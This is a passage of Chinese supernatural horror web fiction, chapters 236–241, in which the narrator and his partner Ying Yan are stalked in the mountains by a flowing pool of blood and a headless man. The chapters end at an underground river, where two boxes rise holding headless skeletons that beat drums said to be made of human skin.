那团衣服,还有鞋子,肯定是猛哥的,但是,猛哥就离开了那么一会儿,这么短的时间里,他即便出现什么意外,也不可能变成一堆白骨。 我和鹰眼试探着把白骨一块一块的给弄出来,这么一动手,我才发现,这堆骨头,并不是散乱的,其实就是人刚刚死去以后,直接被塞到了这里,因为空间狭小,尸体被挤压变形,等到皮肉烂光,剩下的骨头就成了一团。 我们俩用刀把周围的灌木砍掉了几棵,然后才把骨头完全给弄到了外头,只从骨头不可能分辨出尸体原本的长相,可是,衣服和鞋子却触目惊心。 猛哥要是没有意外,衣服鞋肯定不会丢在这儿。 如果按照常理去判断的话,我无论如何都不会相信,这是猛哥的尸体。我接触的尸体太多了,一具尸体什么时候会腐烂,什么时候会化掉血肉,我很清楚。 鹰眼蹲下来,认真的看了一会儿,等他再抬起头的时候,我就看见他的眉头已经拧成了疙瘩。 “看着像是猛子。” “怎么说?” “猛子十几岁的时候,左手的小拇指被砍掉了一截。”鹰眼捏着尸骨的手掌,说道:“你自己看。” 鹰眼没有撒谎,我之前也注意到,猛哥的左手,的确和正常人不太一样,这时候看了两眼,我就看见尸骨的左手小拇指,真的缺了一截。 可是,我怎么都想不通,猛哥怎么会在那么短的时间里,从一个大活人变成一堆白骨的。骨头上面干干净净,没有留下任何皮肉腐烂后的痕迹,就像是被自然放置了很长一段时间,然后慢慢腐烂的。 现在也很难去判断猛哥具体的死因了,我感觉脊背一阵一阵的发寒,钓鱼佬当时死的透透的,整颗脑袋几乎都被砍掉了,我不相信他还能活下来。 钓鱼佬要是死了,他之前养出来的那些紫婴血童,也不会自己作祟。 一来二去,现在只剩下一个解释,那就是这片看似空荡无人的山地里,一定还有尚未露面的敌人,正在暗中尾随我们。我们三个人聚在一起的话,对方或许没有十足的把握,所以才专门挑选猛哥落单的时候下手。 “现在怎么办?”我看了看鹰眼,这一次进山很不顺利,现在还没真正走到目的地,已经挂了几个人,如今就剩下我和鹰眼两个,后面的路要怎么走,我也有些迟疑。 “你说呢?”鹰眼的后槽牙都快咬碎了,恨恨的朝周围扫了一眼:“就这么回去的话,我不甘心。我的兄弟已经死了几个,损失太大。” “你的意思,咱们两个继续朝前走?” “我这个人,就是不信邪,风险越是大,我就越不想退回去。” 鹰眼的意思,我心里猜到了几分,他还是想带着我到达最终的目的地,不管能不能得手,他都要我先看看那片河水的深处究竟是什么。 只要能搞清楚河里是什么,哪怕这次不得手,下次鹰眼依然还是可以卷土重来。 我自己也思考了一下,如今的形势,基本上已经可以确定了,有人在故意阻拦我们,不想让我们朝目的地靠拢。这就足以说明,目的地所隐藏的,或许真的是很有价值的东西。 祖师爷最终的衣冠冢在何处,多少年来一直都是个谜,如果真是祖师爷的衣冠冢,就很有可能在里面发现些关于葬经终篇的线索。 “现在我们人少了,但人少反倒不容易出什么乱子,咱们小心一些。” 鹰眼是个很实际的人,猛哥跟着他这么久,现在人死了,对鹰眼来说,猛哥完全失去了价值,他没有再理会猛哥的尸骨,转身就朝回走。 我们回到原来落脚的地方,重新把东西收拾了一下,三个人的东西,两个人肯定背不动,需要丢弃一些,鹰眼一边收拾东西,一边小声对我说道:“咱们想法子,看能不能把人引出来,对方不敢直接露面,就说明他对咱们俩,也有忌惮,老弟,你有五行天眼,有的事全靠你了。” 我们把东西收拾好,当即就离开了这片山洼,鹰眼走在前头,我走在后面,不停的在四周感应。 以我现在的能力,还是暂时察觉不出,是否真有人在尾随。我和鹰眼一前一后的走出去大概有四五百米的样子,我就觉得很别扭。 我的预感告诉我,危险肯定是有的,只不过不知道隐藏在何处,也不知道什么时候才会爆发。 就这样走了大概有二三十分钟,我突然警觉了,虽然我没有听到任何声音,但一种深深的危机感,陡然从心底浮现出来。 我猛的回过头,身后是一片清冷的月光,什么都看不见,但是,那种危机感却像是潮水,蔓延的很快。 “你察觉到什么了?” “暂时没有,就是觉得不踏实。” “是要仔细点,但也别草木皆兵的自己吓自己……” 鹰眼的话还没有说完,我突然就发现,身后大概十来米之外的一片地面,有点不正常。 那片地面的颜色比别处深,从我这里看过去,黑乎乎的一片。我刚刚察觉出这点异常,那片黑乎乎的东西,好像无声无息的朝着前面挪动了一点。 因为距离比较远,我看不清楚那究竟是什么。鹰眼就在旁边,暂时不用担心有人偷袭,我立刻闭上眼睛,用五行天眼去紧密的感应。 五行天眼也没能把那片东西给看透彻,一转眼的功夫,那东西就悄无声息的隐没在了一旁的黑暗中。 第237章 流动的血 我相信自己的感觉,那片消失的东西,肯定不是什么好玩意儿。但是,那片东西隐没到一旁的黑暗中之后,我就观察不到了。 我心里有点发虚,先前被钓鱼佬袭击时,我的五行天眼就受到了很大的阻碍,我不知道现在是不是又有什么东西在无声的影响我。 我和鹰眼继续慢慢的朝前走,两个人已经竭尽全力去捕捉任何异样的风吹草动。那片东西隐没起来之后,我心底的危机感就减轻了一些。 现在也没有别的办法,只能继续向前,如果可以把尾随我们的人引出来,那是最好的。 又走了大概十来分钟,突然间,已经被压下去的危机感,重新升腾起来,我毫不犹豫的又一次回过头,身后仍旧是一片空荡,就连刚才那片颜色发黑的东西,也观测不到。 可是,危机感是不会骗人的,而且,我的感应十分强烈,我确信,一定有什么东西出现了。 很快,我的目光从远处收了回来,立刻就在身后不到两米远的地方,看到了地面上的一滩东西。 这滩东西是暗红色的,距离一远,就黑乎乎的一片,这玩意儿不是固体,就如同一堆血肉被剁的稀烂,然后又被倒到了地上,变成了一滩黏糊糊的血水。 我抽了抽鼻子,甚至还能闻到血腥的气息。 我有点慌神,因为我和鹰眼谁都没有察觉到,这滩血水是怎么无声无息流淌到离我们这么近的地方的。 我下意识的就朝后退了几步,鹰眼退的比我还快,一转眼间,那滩血水就被甩到身后几米远的地方。 这滩血水,让我感觉到了一种恐慌。鹰眼也很警惕,下意识的就捂住了自己的鼻子。现在谁都不能保证,这滩血水是不是有毒,如果真被人做过手脚,可能沾染到自己身上一点,就会烂掉一大块肉。 两个人不断的慢慢后退,除了这滩血水之外,周围还是一片令人心悸的寂静。 我死死的盯着那滩血水,但一转眼的功夫,半空的云层缓缓飘过,月光刹那间被遮挡住了,四下里一团昏沉,那片暗红色的血水在昏暗的光线下,就不太容易分辨。 我和鹰眼又退了十几步,这边刚刚站稳脚,我就发现,有一个人,正趁着此时的黑暗,从山路一旁的隐蔽处,缓缓的朝我们靠近。 鹰眼拽了拽我,示意我先不要声张,我们俩的目的就是为了把暗中尾随的人给揪出来,对方试探了两次,或许真的是藏不住了。 我的心在怦怦乱跳,虽然还不知道隐藏着的人是谁,但毫无疑问,对方一定是个不太容易对付的角色。 我已经锁定了那个正在靠近的人,双方的距离在不断的拉近,当距离缩短到只剩下几米的时候,半空中的云层,似乎又变的厚重了一些,几乎把月光给严严实实的遮挡住了。 就在这电光火石的一瞬间,那个一直在猫着腰悄悄靠近的人,呼的站直了身子。我和鹰眼等待的就是这个机会,不等对方有别的动作,两个人一左一右的就包抄了过去。 生死时刻,出手就不能留情,以免对方有反击的机会。我和鹰眼各自握着一把刀,鹰眼比我先到一步,脚步都没停,手中的刀就劈了过去。 我慢了那么几秒钟,也跟着堵住了对方的退路,我和鹰眼配合的相当默契,已经完全占据了主动,那个人肯定逃不掉了,就算真的拼命避开鹰眼那一刀,也避不开我这一刀。 就在鹰眼的刀子快要触碰到对方身躯的同时,我突然觉得一阵心惊,因为在如此昏沉的光线下,鹰眼观察的不清楚,可我却能靠着五行天眼捕捉一些细节。 我发现这个人没有一丝活气,而且,那股血腥味源源不断的钻到我的鼻孔中。 可是事情到了这个节骨眼上,我连示警的机会都没有,鹰眼手中的刀,唰的一下砍到了对方身上。 刀锋肯定是砍到了对方,可又像是砍空了,这个人就如同海市蜃楼幻化出的虚影一样,刀子直直的从对方的身躯一划而过。 几滴黏糊糊的血,顿时就喷溅到我的脸上,我心头一惊,不顾一切的用袖子把血迹给擦掉。 哗啦…… 鹰眼那一刀,似乎直接把这个人给砍成了碎末,对方的身躯直接扑倒在地,紧跟着,就变成了一滩流动的血水。 血水流的很快,根本不给我思考的机会,在面前的地面上唰的一下闪到了一旁。光线实在是太昏沉了,连我都不太能看清楚血水的去向。 这时候,我感觉自己的牙根都在发痒。猛哥遇到意外,那么短的时间里,身上的血肉全都无影无踪,就剩下一架白骨。而眼前的情景无疑已经证明,那滩流淌的血水,就是猛哥身上的血肉所化。 我一想到这儿,身后突然唰的一响,我和鹰眼同时转过身,那滩血水不知道什么时候悄悄的流到了我们身后,在回头的一刹那,血水陡然拔地而起,化成了一道人形。 这道人形,就像是猛哥突然复活了似的,蹒跚着朝我们扑了过来。人形是血水凝结而成的,整个身躯都是暗红色的,仿佛是一个被剥了皮的人,还没有死透。 我和鹰眼急忙就闪到了一旁,鹰眼毕竟上了岁数,经验丰富,但腿脚肯定比我要慢那么一点,就在他闪身的同时,那团血水化成的人影,啪的一下,直接扑到了鹰眼身上。 人影一碰到鹰眼,立刻就重新变成了一滩流动的血,朝着鹰眼的身躯四周快速的蔓延,鹰眼使劲的甩动着身躯,但是却无法把这团血水给甩掉。 紧跟着,鹰眼一下子摔倒在地,出于自保的本能,他的手脚蜷缩到了一起,连脖子也缩到衣领里头,那滩血水在鹰眼身上急速的流动,猛然看上去,就好像猛哥被剥了皮,死死的纠缠着鹰眼。 我不知道该怎么上去帮忙,血水是液体,浑不受力,拳打脚踢或者用刀劈砍,都不会有任何作用,而且,那滩血水已经把鹰眼给缠死了,这时候去动手,鹰眼也得跟着遭殃。 我眼睁睁的看着鹰眼在地上不断的翻滚,血水涌到了鹰眼的脸上,他全然没了反击的能力,徒劳的在地上拼命的滚动。 就这么滚了一会儿,我急忙就跟了上去,鹰眼身旁不远处,就是一片山沟,山沟虽然不算深,但是这时候要是掉下去,肯定也不会有什么好结果。 第238章 无头人 虽然我并不认可鹰眼这个人的人品,但在这种环境之下,我还是不能让他死。我紧走了几步,想要拉他一把。 鹰眼挣扎的很剧烈,他的整张脸都被血水给包裹了起来,肯定不能呼吸了。眼瞅着已经滚到了山沟的边缘,鹰眼看不到东西,还是在地上继续滚动,想把身躯上的血水给甩掉。 就那么一转眼的功夫,鹰眼已经顺着边缘滚落了下去。 我的心猛然一沉,急忙扑了过去,我能模糊的看到,鹰眼在山沟那条非常陡峭的斜坡上,如同一个大麻袋,骨碌碌的滚到了底部。 更要命的是,鹰眼滚到底部,似乎就不动弹了。 我立刻在山沟的边缘寻找下去的路,但实在是无路可走,我干脆也顺着那道斜坡朝下滑。 等我滑到山沟的底部时,鹰眼的确躺着不动了,他身躯上的那滩血水,就仿佛成千上万只虫子,依然在蠕动。 我来不及多想,正要上去看看鹰眼是不是真的没救了,陡然间,我的脊背上就冒出一片渗入骨髓的寒意,这种感觉,我以前就有过,不用回头,我就能察觉出,一定是有人或者什么东西悄无声息的靠近了。 我明白,这滩血水不可能无缘无故的就把鹰眼给缠住,但最可怕的还是驱使血水出来作祟的人。 那个隐藏着的人,是看着鹰眼已经不行了,只剩下我一个人孤立无援,所以才想出来捡漏子? 我暂时看不到对方的踪影,只觉得他肯定已经靠近了。 嘭!!! 就在这一刻,身后突然发出一阵沉闷的响声,躺在地上的鹰眼就如同一颗大爆竹,一下子炸开了。他身躯外面的血水,顿时被震散,飞洒的到处都是。 血水像是一阵雨,被震到半空,又洒落下来,鹰眼一抖身躯,从地上一跃而起。 这老家伙的确有过人之处,他的经验和隐忍是我暂时无法企及的,一看到鹰眼没有死,我心里就有底了。 鹰眼跃起的那一瞬间,手臂一抬,就撒出了一大把白生生的大米。这些大米上面,都刻着很繁复的符箓,一颗颗米粒在半空横飞,又落到四周。 还没等所有的大米全部落地,从我左后方大概不到十米的地方,轰隆一声,爆发出一团血红色的光。那团血光是从几块石头后面闪起的,在血光乍现的同时,我已经隐约看到了一条身影。 那一定就是暗中在驱使血水作祟的人,那团血光出现之后,我的五行天眼似乎又恢复了正常,只要眯着眼睛,就能把那团身影看的很清楚。 我倒抽了一口凉气,本来已经打算跟对方好好斗一斗,可我能看到,那团身影猛然看上去高高瘦瘦的,但只要仔细再看一眼,就会感觉,对方似乎比普通人低了半头。 此时的情景,让我有点瞠目结舌,那道一直隐藏的身影,是一个没有脑袋的人。 我脑子里立刻冒出一个念头,在分辨那个人是不是钓鱼佬。钓鱼佬刚才已经死透了,鹰眼和猛哥对他下手很重,钓鱼佬的脖子几乎已经被划断。 可是很短时间里,我就否定了这个念头,不远处那个没有脑袋的人,身上所穿的衣服,不是钓鱼佬的衣服。 而且,这个人的体型和钓鱼佬不太一样,钓鱼佬很瘦,整个人长的和竹竿似的。而不远处那个没有脑袋的人,明显要壮实一些,个头也没有钓鱼佬那么高。 “咱们走这条路,可真的是见鬼了!”鹰眼唰的一步,来到我身后,咬着牙说道:“怎么出来的都是些牛鬼蛇神!?” “这东西,是不是人?” “现在连我都看不出来了,别想了,既然对方都现身了,那就跟他死磕到底!” 鹰眼也有些恼火,我们一心想把尾随在后面的人给引出来,但对方出来了,却是个没脑袋的。我不敢确定,这个没脑袋的人会否也是什么被故意养出来的邪物。 那个没脑袋的人,一步一步的走了过来,对方的整颗头颅都没有了,可是行走之间却四平八稳的,好像能把眼前的一切都感应出来。 我和鹰眼慢慢的分开,等到对方快要逼近的时候,鹰眼一抬手,又是一把刻着符箓的大米丢了过去。 这种大米是专门克制阴邪的,几十上百粒大米丢过去的同时,那个没脑袋的人连躲都没有躲,几颗大米落到他身上,立刻砰砰的闪出一团又一团血光。 但是,一团一团的血光刚刚乍现,随即就熄灭了。鹰眼的眉头拧成了一个疙瘩,小声说道:“这东西,到底是死的还是活的!?” 鹰眼丢出去的大米克制阴邪,如果那个没脑袋的人是养出来的邪物,大米丢过去,和对方身上的阴邪之气相互克制,大米上的符箓爆散,就会散发一团血光。 这团血光不会立刻熄灭,会死死的缠着对方,血光里面的阳火,会和对方身躯里的阴邪之气相融,等大米的血光完全熄灭之后,对方的阴气就会被减弱很多。 可是,大米爆开的血光如果很快就熄灭,那就说明,对方不是什么死物,而是活的。 鹰眼这么一说,我也感觉头大如斗,我们俩不可能同时看错,那个人的确没有脑袋。不管对方是什么来历,我都不相信没有脑袋的人还能活下去。 这一把大米撒过去,没什么用处,那个没脑袋的人无形中又逼近了一些。 我的心一横,对方要真是什么妖魔鬼怪,我缺乏经验,可能还会顾虑一些,对方如果是活的,那就没什么可说的了,拳脚底下见真章,大不了就和他死拼。 等这个没脑袋的人完全靠近,鹰眼提着刀就冲了上去,想探一探对方的虚实。趁着这个机会,我用五行天眼观察了他一下,却感觉这人的身躯外面,好像有一团无法察觉的气息。 这团气息无形无质,却把这个人完全笼罩在里面,我用五行天眼,也看不出更多的情况。 鹰眼一动,那个没脑袋的人也跟着动了,辗转腾挪,灵活程度和活人真的没有任何区别,而且,没脑袋的人是个高手,拳脚功夫相当出众,鹰眼在他面前,应该是占不到什么便宜的。 我手里也握着刀,想要去给鹰眼帮忙,但不知道为什么,在我迈动脚步的时候,突然又觉得,这个没脑袋的人如果站着不动,我看不出更多的情况,等他和鹰眼相互搏杀时,我就有种隐约的熟悉感。 我觉得这个人举手投足之间的动作,的确有一点熟悉。 第239章 似曾相识 这种熟悉的感觉,其实是很不好的,一个没有脑袋的人,我竟然还觉得熟悉,这说明了什么?说明我以前认识他? 我敢确定,我以前不可能见过一个没有脑袋的人还在这活蹦乱跳的。 而且,这个没有脑袋的人始终像是笼罩着一层无形的屏障,五行天眼也看不穿他。这也就意味着,对方或许知道我的底细,一上来就刻意的防备着我。 这时候,情况已经有点紧急了,鬼才知道这个没脑袋的人为什么这么生猛,鹰眼已经拿出玩命的架势了,像他这种人,风里火里半辈子,打架就是家常便饭,经验极其丰富,可是,这个没脑袋的人的经验同样丰富,鹰眼和对方斗了片刻,一点点便宜都没占到,而且还落在了下风。 我暂时停止了思索,上去给鹰眼帮忙。我的力量很大,一加入战团,那个没有脑袋的人优势就不太大了。 我只是很担心,这个人有没有别的同伙在暗中潜伏。而且,我一直都很疑惑,这个人没了脑袋,到底是怎么活下来的,鹰眼说了,对方应该是活的。 就这样僵持了片刻,我和鹰眼配合逐渐的默契起来,没脑袋的人就有些吃力了。 两三分钟之后,我和鹰眼都察觉到,没脑袋的人可能是想逃。在这种地方遇见了敌人,就绝不能放过对方,免得夜长梦多。鹰眼看准机会,慢慢的绕到了对方的身后,我则站在正面对敌,把他前后的去路都给堵死。 没脑袋的人似乎非常沉稳,被堵在这里,也不急躁,还是和我们全力周旋。又过了两三分钟,鹰眼在后面突袭,他也知道现在的情况紧急,所以几乎是在玩命。没脑袋的人招架的很吃力,等于被鹰眼给缠住了。 这是个千载难逢的好机会,我毫不犹豫,举着刀,以雷霆万钧之势全力猛刺过去。 这一刀,我把角度和速度都拿捏的很好,没脑袋的人身后就是鹰眼,已经完全没有还手的余力。 唰!!! 刀锋随即就刺破了对方的衣服,然而,锋利的刀子突然像是被卡住了一样,我的力气这么大,竟然都无法再捅进去。 我使劲的加力,刀子再也无法寸进,估计是双方的力量都太大,对方胸前的衣服刺啦一声被撕裂了。 在他的衣服撕裂的那一瞬间,我立刻倒抽了一口凉气,脑袋也跟着一蒙。 双方的距离这么近,在对方的衣服撕裂的一瞬间,笼罩在他身躯外面的那一层屏障似乎也被打碎了,我能看的非常清楚。 这个人的胸前,凸起了一团,猛然看上去像是一个奇形怪状的肉瘤,可是再一观察就会发现,那其实是一张脸。 这个人的脖子上虽然没有脑袋了,但是他的脑袋仿佛被移植到了胸口,就如同一面墙壁上有一幅浮雕。 他胸口上的脑袋,不知道是腐烂,还是被挤压变形,反正就好像是受过很严重的烧伤,等愈合之后,皮肉扭曲,整张脸都面目全非。 胸口上那张脸的嘴巴,死死的咬着我的刀,让我没办法再刺进去。 这一刻,我的思维似乎有点呆滞,因为我看到了对方的眼睛。他的面容扭曲的厉害,实在是不好分辨原本的长相,可是,对方的眼睛却炯炯有神,他死死的咬着刀子,同时还缓缓抬眼,看了看我。 我这辈子都没想过,会被人以这种方式死死的注视,对方的眼神似乎拥有什么魔力,让我的脑子顿时蒙圈了。 “别发愣!”鹰眼站在这人背后,看不到胸口那张脸,他发现我在出神,立刻就急了:“快点动手……” 鹰眼这句话还没有说完,没脑袋的人像是突然爆发了,我只觉得那颗脑袋勃发出一阵难以抗拒的力量,我本来就在全力的想要把刀子收回来,对方的嘴巴猛然一松,我就有些收不住脚,噔噔的朝后退却。 与此同时,对方唰的一下转过身,鹰眼也完全没想到,对方的胸口会有一颗凸起的脑袋,他的眼神一滞,没脑袋的人却毫不犹豫,一拳落在了鹰眼身上。 鹰眼直接被打飞了,趁着我和鹰眼都被击退,没脑袋的人转身就跑。 “追!”鹰眼咬了咬牙,翻身爬起来,拔脚就追赶过去。 我们身在山沟里,对这里的地形完全不熟悉,追击之间磕磕绊绊,速度始终快不起来,而那个没脑袋的人却好像对这里的情况了如指掌,跑的虎虎生风。 两个人追了一阵子,就渐渐被对方给甩开了。 月光之下,我能看到那个人的背影在慢慢的跑远,直到这一瞬间,我的额头像是突然被针扎了一样,脑海中不由自主的浮现出了一个人的影子。 师傅。 我看着对方的身影,突然就察觉到,他似乎和师傅跑动的姿势很像。刚才我就觉得这个人有些熟悉,一直到此刻我才反应过来,我跟着师傅好几年,从来都没有见过他跟任何人动手打斗,所以,激烈的搏杀之间,我很难分辨出对方是谁。 等他现在不断跑远,我才从背影中依稀看到了师傅的影子。 这个没脑袋的人,会是师傅? 我的脚步立刻放慢了,整颗脑袋似乎都被这个问题给塞的满满的,思绪也随即混乱了起来。 我不会忘记,师傅当年是怎么死的,这么长时间以来,我一直都没有去想过这个问题,一直看到这个没脑袋的人的背影,和师傅如此相似,我才突然重新思考。 师傅死的时候,只剩下一具没有脑袋的身躯,因为那具无头身躯和师傅的体型一样,而且还穿着师傅离开时的衣服,所以,在那样的情况下,我自然而然的就认为,无头的身躯肯定是师傅。 可是到了这一刻,我却突然又怀疑,自己当时的判断是不是错了。 师傅没死?那个正在奔逃的无头人,就是师傅? 一想到这儿,我忍不住就想加快脚步追上去,可是,复杂的地势严重影响了我的速度,无头人本来就已经跑远了,现在要去追,肯定追不上。 第240章 两只箱子 眼看着追不上那个无头人,我和鹰眼只能停下脚步,要是不顾一切冒然继续追,可能还会有别的危险。 “算了,别追了,眼下能保住咱们的命,已经算是万幸。” 听到鹰眼的话,我只觉得不甘心,要是这样让那个无头人彻底逃走,不知道他会不会又伺机找麻烦。 “那咱们现在继续朝前走?那个无头人就彻底不管了?” “追又追不上,能怎么办?”鹰眼吁了口气,朝着四周看了看,说道:“那人很古怪,不知道是什么来路,不过,之前他一直都没露面,就趁着我从上头掉下来,才突然发难,这就说明,咱们两个联手,对他还是有很大威胁的。” 鹰眼的手下,已经在这里折损光了,要是现在为了安全,转身返回,不仅我不甘心,他肯定也不甘心。 我们俩先从山沟爬了上来,到了这个地段,基本上距离鹰眼他们先前走过的那条路线就不远了。一到熟悉的路线上,鹰眼就走的比较快,我们两个相互配合着,一边赶路,一边不断的观察周围的动态。 一口气走出去很远,那个无头人应该没有追上来。 到了这时候,我的情绪才算是完全稳定了,脑子里不由自主的在回想刚才和无头人搏杀的情景。 无头人逃走时的背影,给我留下的印象太深刻了,当初和师傅在一起生活了好几年,他的言谈举止,我非常了解。越是仔细的回忆,我就越是觉得,无头人的背影真的和师傅一样。 我的心本来平静了,可是一想起这些,又渐渐的开始翻江倒海。 但我不能跟鹰眼明说,这其中是不是包含着别的不为人知的隐情,我还无法确定,鹰眼这个人,只能当成暂时的合作者,绝对不能深交。 我强行把心头的猜疑给压了下去,跟鹰眼尽快赶路,整整大半夜过去,无头人没有再出现,我和鹰眼也有点累了。 两个人坐下来休息了一会儿,鹰眼到这时候都不肯告诉我具体的目的地,只是说离的不算太远了。 到了上午大概九点钟,我们重新出发,这一次中间就没有再停留,一直走到下午三点左右,在一片高低起伏的小山脚下,鹰眼停下了脚步。 “老弟,就是这儿了。” “这儿?这有河吗?” “等会你就知道了,现在咱们只剩下两个人,要同舟共济,还有,不管怎么样,谁都不能坏了规矩,真要是发现了什么,老弟你可不能藏着掖着。” “你放心吧,我不是那种人。” “你的为人,我还是信得过的,只是叮嘱两句,你别嫌烦。” “抓紧时间,别跟我卖关子了。” 鹰眼转过身,跑到两座小山之间的一条狭窄的山口中,我一路尾随过去,就看见鹰眼在山脚下面扒拉。 他扒拉了一会儿,我就看出来了,这个地方是被人为的堵住的,清理掉浮土,就能看到好几层密密麻麻的树枝,再拿掉这些树枝,一个大约两米多长,一米多宽的岩体缝隙就呈现于眼前。 这条缝隙是倾斜向下的,里面黑咕隆咚,什么也看不清楚,但我能感觉到,缝隙后面的空间很大。 这一瞬间,我就恍然大悟。 “你说的那条河,是一条暗河?” “老弟,还是你聪明,一看就懂。没错,是条暗河,在这下头,进去以后不用走太远,这地方先前我们就查探过了,要是不到河里去搞事情,别的地方还是安全的。” “那就赶紧吧。” 我心里总是感觉不是很踏实,如今就剩下我和鹰眼两个人,连个放哨望风的人都没有,只能尽快把该弄清楚的事情弄清楚,以免夜长梦多。 我们依次从这条缝隙钻了进去,现在这个季节寒风呼啸,地下更是阴冷,我落地之后先观察了一下,感觉这个地下洞穴,和王川山那片风水地的地下差不太多,都是一种地质地貌。 鹰眼轻车熟路,带着我朝前走了最多几十米远,我就听到了哗啦啦的流水声。 随即,暗河就呈现在了眼前,这是一条南北走向的暗河,我能看到的河道大概有六七米宽。在河岸左侧,手电的光芒映照出了两团歪歪斜斜的影子。 那两团影子,是两架很大的绞盘,绞盘上的绳索已经腐烂了。一看到绞盘,就能推断出在若干年前,肯定有人从河岸这边运送过沉重的东西。 这段河道的走势平缓,河道也不算窄,所以水流的速度也比较慢。一到这里,鹰眼就有点紧张,当时,他的人就是从这里下水之后出的事。 “老弟,你先观察观察,不用急。” “你的人之前在这儿到底是什么状况,你现在能仔细跟我说说了吧?” 鹰眼终于不再隐瞒了,把具体情况和我描述了一遍,我认真听了听,但也暂时推断不出什么,当时亲自下水的人都出了事,水下到底有什么,谁也说不出来。 鹰眼把我带到河道这边,伸手指了指,告诉我他的人当初就是从这个位置下水的。 鹰眼应该没撒谎,我能看到固定在河岸上的绳索。我蹲在岸边,朝水面望去,在这种光线的映照下,水中的景象完全漆黑一团。我闭上眼睛,额头上的五行天眼仔细的感应了两分钟,渐渐的,我就感应出,这段河道的水面下,是有东西。 但是,五行天眼无法完全把水下的东西给看清楚,我就耐着性子,打算继续观察。 就在这时候,我突然发现河道的水流似乎有点异常。这里的水流虽然缓慢,但总体还是在朝着下游流淌的,可等我仔细观察水下时,水面似乎渐渐的停滞了,变成了一汪死水。 我正在疑心水流为什么会突然停滞,随即就感应到水下有东西在缓缓的上浮。很快,我就大概看清楚了,从水下浮上来的是两个很大的木箱子。 一转眼,两个木箱子就唰的一下浮出水面,木箱子是长方形的,大概有一米八长,一米宽。 “这是……这是棺材?怎么有点不像?” “应该不是棺材。”我已经看的很明白了,这两个木箱子的形状,的确像是棺材,外面厚厚的涂着桐油,但我抬棺这么久,从来都没见过这种棺材。 “里面应该有东西吧?” 鹰眼的双眼一下子就冒光了,他到这里来,完全就是为了找东西,而我也想从这两个木箱子里找到些线索,两个人一合计,就想办法把木箱子给拖上了岸。 箱子拖上来之后,我没有冒然动手,鹰眼也害怕有什么危险,就想让我先试着看看,能否直接看清楚箱子里的物品。 我这边刚要闭上眼睛,两只箱子突然同时发出嘭的一声响,我和鹰眼还没反应过来,箱子里面似乎有什么东西,正在一下一下的敲击箱盖。 第241章 黄泉鼓 这突如其来的咚咚声,把我和鹰眼都吓了一跳,箱子是从水里浮上来的,而且看着箱子的状态,肯定是很多年前的东西了,上面用来防水的桐油都已经脱落的斑斑驳驳。 任谁都没想到,箱子里面会发出这样的动静。 而且,我能听得出,这动静绝对不是偶然,因为两只箱子里面同时发出了咚咚的声音,就和敲门声一样。 我们俩立刻警觉了,连忙就闪到了一旁。鹰眼急忙冲我使了个眼色,示意我赶紧看一看,箱子里究竟是什么。 我背靠着身后的石壁,一下子闭上了眼睛,我不知道是光线的原因,还是我心理的原因,这一次五行天眼辨别的不太清楚,但是,透过箱子,我能看到里面肯定有东西。 我睁开眼睛缓了缓神,全力镇定下来,然后又用五行天眼去观察,这一次,我终于看到了一个模糊的轮廓。 当我看到箱子里的轮廓时,整个人顿时就不好了。 我觉得,两只木箱子里,各有一个人,平躺在里面。从模糊的轮廓上来看,这两个人都没有脑袋。 之前在山沟里遇见那个无头人,已经带给我深深的迷茫和疑惑,此时此刻木箱子里的轮廓,更让我触目惊心。 我暂时不敢发出什么声音,用手势跟鹰眼比划了几下,这老家伙的确有眼力,很快就明白了我的意思。 我心里觉得非常诧异,两只箱子的历史,连我都推断不出来,箱子外面那层厚厚的桐油如果自然脱落的话,需要很漫长的时间,而且,箱子是在水里的,我不相信有什么人能在这种环境下存活。 咚咚…… 我和鹰眼还没有想出什么对策,箱子的咚咚声更加猛烈,我甚至能看到两只箱子的箱盖,似乎要从里面被掀动起来。 这时候,眼前几乎已经停滞下来的水面,骤然暴起一团水浪,水浪哗啦用上了河岸,就好像突然下了一场瓢泼大雨。 我不知道现在究竟是什么情况,河水劈头盖脸落下的时候,自然而然的就转脸去躲避。等到视线从木箱子挪开的那一瞬间,嘭的一声,木箱的箱盖同时被掀飞了。 河道里的水浪就涌起了那么一团,但我和鹰眼都被淋的落汤鸡一般,等到目光再次投向那两只木箱子的时候,从箱子里,唰的跳起来两团人影。 我的头皮一下子就麻了,这两团人影瘦的和竹竿一样,不知道是不是身处的环境太潮湿,他们的身上长着几乎两三寸长的绿毛,看起来毛茸茸的一团。 但我还是能分辨的清楚,这两团身影,应该是已经白骨化的尸体,而且,我之前的判断没错,两团身影都没有脑袋,颈骨上面的断口非常整齐,就好像被锋利的刀一刀剁下了脑袋。 咚咚…… 这两团身影跳出来之后,跟着就发出了一阵咚咚的声音。这声音和之前箱盖被敲击的声音不一样,听起来就好像是民间小孩子玩的那种拨浪鼓。 咚咚…… 咚咚的鼓声落到耳朵里的时候,我的感觉就非常怪异,鼓声只是声音,却让我浑身上下的血似乎要冻结了一样,寒气森森。 我下意识的就感觉到冷,那种冷,不是周围的温度造成的,就仿佛全身的阳气一下子被驱散了。 那两团长满了绿毛的白骨,就像是两个被人用细线所操控的皮影一样,歪歪斜斜的蹦跳着,随着它们的蹦跳,我随即就看到,它们的右手,各自握着一面鼓。 这种鼓很小,真的和拨浪鼓一样,长着绿毛的白骨只要一动,鼓就被敲响了。我和鹰眼都摸不透底细,不敢随便动手,只能被动的选择后退,但是绿毛白骨手里的鼓响个不停,那种身躯要被冻结的感觉,就越来越重。 “不行!”鹰眼一下子就慌了,转头看了我一眼,在我看见他的时候,立刻倒抽了一口凉气。 这个地方的气温的确低,但是完全还没有到达那种滴水成冰的地步,就这么短短的几分钟时间,我看见鹰眼的头发,眉毛,还有脸庞上面,似乎笼罩着一层薄薄的冰霜。 “这是怎么回事!” “他们手里的鼓……”鹰眼赶紧又后退了两步,眼神中透出一丝难以掩饰的惊恐:“那好像是……好像是白八门的黄泉鼓!” 鹰眼如果不说,我可能完全回想不起来,他的话无形中提醒了我,我眯着眼睛看了看,绿毛白骨手里的那两只鼓,果然有点不寻常。 鼓保存的很完好,鼓皮相当完整,发出的声音虽然阴惨惨的,但是很饱满。如果用心的观察,就能发现两只鼓的鼓皮上面,有一圈一圈像是弯月一样的纹理。 “你是白八门的人!你都不知道黄泉鼓!?”鹰眼已经有些急躁了,对这两只鼓有着很深的恐惧:“黄泉鼓就是月牙鼓!” 我的确对黄泉鼓没有太深的印象,但是鹰眼一说月牙鼓,我的头皮又是一麻。 以前的人做鼓,鼓皮一般都用牛皮,不过,过去的牛皮比较少,真到了物资紧张的时候,别的皮也能拿来凑合用。 在所有的皮革里面,月牙皮是最独特得一种,所谓的月牙皮,其实就是人皮。 